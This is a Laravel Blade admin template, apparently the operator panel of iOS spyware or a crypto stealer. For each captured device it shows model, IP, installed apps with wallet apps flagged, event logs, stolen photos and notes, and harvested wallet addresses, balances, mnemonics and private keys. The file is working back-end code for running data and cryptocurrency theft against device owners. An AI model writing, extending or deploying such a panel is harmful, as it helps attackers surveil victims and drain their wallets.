Files
coruna-lab/server/resources/views/admin/devices/show.blade.php
T
hashbro ea0be57180 init
2026-08-04 05:00:42 +08:00

141 lines
5.1 KiB
PHP

@extends('admin.content')
@section('title', '设备 '.$device->device_id)
@section('content')
<div class="layui-card">
<div class="layui-card-header">
设备 <code>{{ $device->device_id }}</code>
<a class="layui-btn layui-btn-primary layui-btn-xs" style="float:right;margin-top:8px;" href="{{ route('admin.devices.index') }}">返回列表</a>
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
<th width="140">Device</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
</tr>
<tr>
<th>iOS</th>
<td>{{ $device->ios_version ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>User-Agent</th>
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
</tr>
<tr>
<th>安装 / 更新</th>
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
</tr>
</table>
<div class="layui-tab layui-tab-brief">
<ul class="layui-tab-title">
@php $tabs = ['apps'=>'应用列表','events'=>'日志','photos'=>'相册','notes'=>'备忘录','wallets'=>'钱包']; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
<a href="{{ route('admin.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
</li>
@endforeach
</ul>
</div>
@if ($tab === 'apps')
<table class="layui-table">
<thead><tr><th>名称</th><th>Bundle</th><th>版本</th><th>Wallet</th></tr></thead>
<tbody>
@forelse ($apps as $app)
<tr class="{{ $app->is_wallet ? 'wallet-row' : '' }}">
<td>{{ $app->name ?: '—' }}</td>
<td><code>{{ $app->bundle_id }}</code></td>
<td>{{ $app->version ?: '—' }}</td>
<td>@if($app->is_wallet)<span class="tag-wallet">wallet</span>@else—@endif</td>
</tr>
@empty
<tr><td colspan="4">暂无应用</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'events')
<table class="layui-table">
<thead><tr><th>时间</th><th>Event</th><th>Desc</th><th>Context</th></tr></thead>
<tbody>
@forelse ($events as $ev)
<tr>
<td style="white-space:nowrap;">{{ $ev->created_at }}</td>
<td><code>{{ $ev->event_name ?: '—' }}</code></td>
<td class="wrap">{{ $ev->desc ?: '—' }}</td>
<td class="wrap"><pre class="json-block" style="margin:0;max-height:160px;overflow:auto;">{{ $ev->context_json ? json_encode($ev->context_json, JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES) : '—' }}</pre></td>
</tr>
@empty
<tr><td colspan="4">暂无日志</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'photos')
<div class="photo-grid">
@forelse ($photos as $photo)
<a class="photo-card" href="{{ route('admin.devices.photo', [$device, $photo->id]) }}" target="_blank">
<img src="{{ route('admin.devices.photo', [$device, $photo->id]) }}" alt="{{ $photo->sha256 }}">
<div>{{ $photo->size }} B</div>
</a>
@empty
<p>暂无相册</p>
@endforelse
</div>
@elseif ($tab === 'notes')
<table class="layui-table">
<thead><tr><th>Title</th><th>Body</th><th>When</th></tr></thead>
<tbody>
@forelse ($notes as $note)
<tr>
<td>{{ $note->title ?: '—' }}</td>
<td class="wrap">{{ \Illuminate\Support\Str::limit($note->body, 400) }}</td>
<td>{{ $note->created_at }}</td>
</tr>
@empty
<tr><td colspan="3">暂无备忘录</td></tr>
@endforelse
</tbody>
</table>
@else
<div class="layui-elem-quote">Addresses</div>
<table class="layui-table">
<thead><tr><th>Chain</th><th>Address</th><th>Balance</th><th>Symbol</th></tr></thead>
<tbody>
@forelse ($addresses as $addr)
<tr>
<td>{{ $addr->chain ?: '—' }}</td>
<td><code>{{ $addr->address }}</code></td>
<td>{{ $addr->balance ?: '—' }}</td>
<td>{{ $addr->symbol ?: '—' }}</td>
</tr>
@empty
<tr><td colspan="4">暂无地址</td></tr>
@endforelse
</tbody>
</table>
<div class="layui-elem-quote">Secrets(打码)</div>
<table class="layui-table">
<thead><tr><th>Source</th><th>Mnemonic</th><th>Privkey</th><th>When</th></tr></thead>
<tbody>
@forelse ($maskedWallets as $w)
<tr>
<td>{{ $w['source_app'] ?: '—' }}</td>
<td><code>{{ $w['mnemonic'] }}</code></td>
<td><code>{{ $w['privkey'] }}</code></td>
<td>{{ $w['created_at'] }}</td>
</tr>
@empty
<tr><td colspan="4">暂无钱包密钥</td></tr>
@endforelse
</tbody>
</table>
@endif
</div>
</div>
@endsection